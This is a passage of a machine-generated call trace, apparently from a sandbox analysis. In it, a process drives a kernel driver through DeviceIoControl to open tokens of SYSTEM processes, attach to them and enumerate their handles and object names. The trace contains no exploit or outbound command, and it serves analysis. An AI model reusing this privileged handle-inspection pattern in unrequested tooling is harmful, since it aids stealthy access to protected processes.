Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.730] ObfDereferenceObject (Object=0xfffff8a003a944e0) returned 0x1 [0131.730] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.730] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.731] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1ac) returned 0xc0 [0131.731] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0131.731] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800301b670, HandleInformation=0x0) returned 0x0 [0131.731] ObOpenObjectByPointer (in: Object=0xfffffa800301b670, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800009fc) returned 0x0 [0131.731] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6c [0131.731] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009fc, DesiredAccess=0x8, TokenHandle=0xfffffa800348ec80 | out: TokenHandle=0xfffffa800348ec80*=0xc8) returned 0x0 [0131.731] ZwClose (Handle=0xffffffff800009fc) returned 0x0 [0131.731] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.731] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0131.731] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0131.732] CloseHandle (hObject=0xc8) returned 1 [0131.732] CloseHandle (hObject=0xc0) returned 1 [0131.732] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.733] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0131.733] PsLookupProcessByProcessId (in: ProcessId=0x1ac, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.733] PsAcquireProcessExitSynchronization () returned 0x0 [0131.733] KeStackAttachProcess (in: PROCESS=0xfffffa800301b670, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800301b670, ApcState=0xfffff880050005d0) [0131.733] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003034ad0, HandleInformation=0x0) returned 0x0 [0131.733] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.733] PsReleaseProcessExitSynchronization () returned 0x2 [0131.733] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6a [0131.733] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.733] ObfDereferenceObject (Object=0xfffffa8003034ad0) returned 0x1 [0131.733] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.733] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.733] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.733] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.733] PsLookupProcessByProcessId (in: ProcessId=0x1ac, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.733] PsAcquireProcessExitSynchronization () returned 0x0 [0131.733] KeStackAttachProcess (in: PROCESS=0xfffffa800301b670, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800301b670, ApcState=0xfffff880050005d0) [0131.733] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030c6320, HandleInformation=0x0) returned 0x0 [0131.733] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.733] PsReleaseProcessExitSynchronization () returned 0x2 [0131.733] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6a [0131.733] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.733] ObfDereferenceObject (Object=0xfffffa80030c6320) returned 0x1 [0131.733] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.734] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.734] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1d8) returned 0xc0 [0131.734] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0131.734] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800304b4e0, HandleInformation=0x0) returned 0x0 [0131.734] ObOpenObjectByPointer (in: Object=0xfffffa800304b4e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800009fc) returned 0x0 [0131.734] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x78 [0131.734] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009fc, DesiredAccess=0x8, TokenHandle=0xfffffa800348ec80 | out: TokenHandle=0xfffffa800348ec80*=0xc8) returned 0x0 [0131.734] ZwClose (Handle=0xffffffff800009fc) returned 0x0 [0131.734] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.734] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0131.734] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0131.735] CloseHandle (hObject=0xc8) returned 1 [0131.735] CloseHandle (hObject=0xc0) returned 1 [0131.735] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.735] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0131.735] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.735] PsAcquireProcessExitSynchronization () returned 0x0 [0131.735] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0) [0131.735] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030581b0, HandleInformation=0x0) returned 0x0 [0131.736] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.736] PsReleaseProcessExitSynchronization () returned 0x2 [0131.736] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0131.736] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.736] ObfDereferenceObject (Object=0xfffffa80030581b0) returned 0x1 [0131.736] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.736] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.736] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.736] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0131.736] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.736] PsAcquireProcessExitSynchronization () returned 0x0 [0131.736] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0) [0131.736] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003093dd0, HandleInformation=0x0) returned 0x0 [0131.736] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.736] PsReleaseProcessExitSynchronization () returned 0x2 [0131.736] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0131.736] ObQueryNameString (in: Object=0xfffffa8003093dd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.736] ObfDereferenceObject (Object=0xfffffa8003093dd0) returned 0x1 [0131.736] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.736] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.736] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.736] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0131.736] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.736] PsAcquireProcessExitSynchronization () returned 0x0 [0131.736] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0) [0131.736] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003093b30, HandleInformation=0x0) returned 0x0 [0131.736] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.736] PsReleaseProcessExitSynchronization () returned 0x2 [0131.736] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0131.736] ObQueryNameString (in: Object=0xfffffa8003093b30, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.737] ObfDereferenceObject (Object=0xfffffa8003093b30) returned 0x2 [0131.737] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.737] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.737] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.737] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0131.737] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.737] PsAcquireProcessExitSynchronization () returned 0x0 [0131.737] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0) [0131.737] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030939e0, HandleInformation=0x0) returned 0x0 [0131.737] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.737] PsReleaseProcessExitSynchronization () returned 0x2 [0131.737] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0131.737] ObQueryNameString (in: Object=0xfffffa80030939e0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0131.737] ObfDereferenceObject (Object=0xfffffa80030939e0) returned 0x1 [0131.737] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.737] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.737] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.737] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.737] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.737] PsAcquireProcessExitSynchronization () returned 0x0 [0131.737] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0) [0131.737] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003093890, HandleInformation=0x0) returned 0x0 [0131.737] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.737] PsReleaseProcessExitSynchronization () returned 0x2 [0131.737] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0131.737] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0131.737] ObfDereferenceObject (Object=0xfffffa8003093890) returned 0x1 [0131.737] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.738] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.738] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.738] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0131.738] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.738] PsAcquireProcessExitSynchronization () returned 0x0 [0131.738] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0) [0131.738] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002d50dd0, HandleInformation=0x0) returned 0x0 [0131.738] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.738] PsReleaseProcessExitSynchronization () returned 0x2 [0131.738] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0131.738] ObQueryNameString (in: Object=0xfffffa8002d50dd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.738] ObfDereferenceObject (Object=0xfffffa8002d50dd0) returned 0x2 [0131.738] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.738] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.738] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.738] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0131.738] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.738] PsAcquireProcessExitSynchronization () returned 0x0 [0131.738] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0) [0131.738] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003093c80, HandleInformation=0x0) returned 0x0 [0131.738] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.738] PsReleaseProcessExitSynchronization () returned 0x2 [0131.738] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0131.738] ObQueryNameString (in: Object=0xfffffa8003093c80, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.738] ObfDereferenceObject (Object=0xfffffa8003093c80) returned 0x1 [0131.738] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.738] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.738] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.738] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0131.738] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.738] PsAcquireProcessExitSynchronization () returned 0x0 [0131.739] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0) [0131.739] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002d50c80, HandleInformation=0x0) returned 0x0 [0131.739] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.739] PsReleaseProcessExitSynchronization () returned 0x2 [0131.739] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0131.739] ObQueryNameString (in: Object=0xfffffa8002d50c80, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.739] ObfDereferenceObject (Object=0xfffffa8002d50c80) returned 0x1 [0131.739] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.739] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.739] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.739] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.739] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.739] PsAcquireProcessExitSynchronization () returned 0x0 [0131.739] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0) [0131.739] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002fc1a80, HandleInformation=0x0) returned 0x0 [0131.739] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.739] PsReleaseProcessExitSynchronization () returned 0x2 [0131.739] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0131.739] ObQueryNameString (in: Object=0xfffffa8002fc1a80, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.739] ObfDereferenceObject (Object=0xfffffa8002fc1a80) returned 0x2 [0131.739] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.739] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.739] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.739] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.739] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.739] PsAcquireProcessExitSynchronization () returned 0x0 [0131.739] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0) [0131.740] ObReferenceObjectByHandle (in: Handle=0x2e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002fc1bd0, HandleInformation=0x0) returned 0x0 [0131.740] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.740] PsReleaseProcessExitSynchronization () returned 0x2 [0131.740] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0131.740] ObQueryNameString (in: Object=0xfffffa8002fc1bd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.740] ObfDereferenceObject (Object=0xfffffa8002fc1bd0) returned 0x2 [0131.740] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.740] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.740] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.740] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0131.740] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.740] PsAcquireProcessExitSynchronization () returned 0x0 [0131.740] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0) [0131.740] ObReferenceObjectByHandle (in: Handle=0x2e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003212420, HandleInformation=0x0) returned 0x0 [0131.740] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.740] PsReleaseProcessExitSynchronization () returned 0x2 [0131.740] ObfDereferenceObject 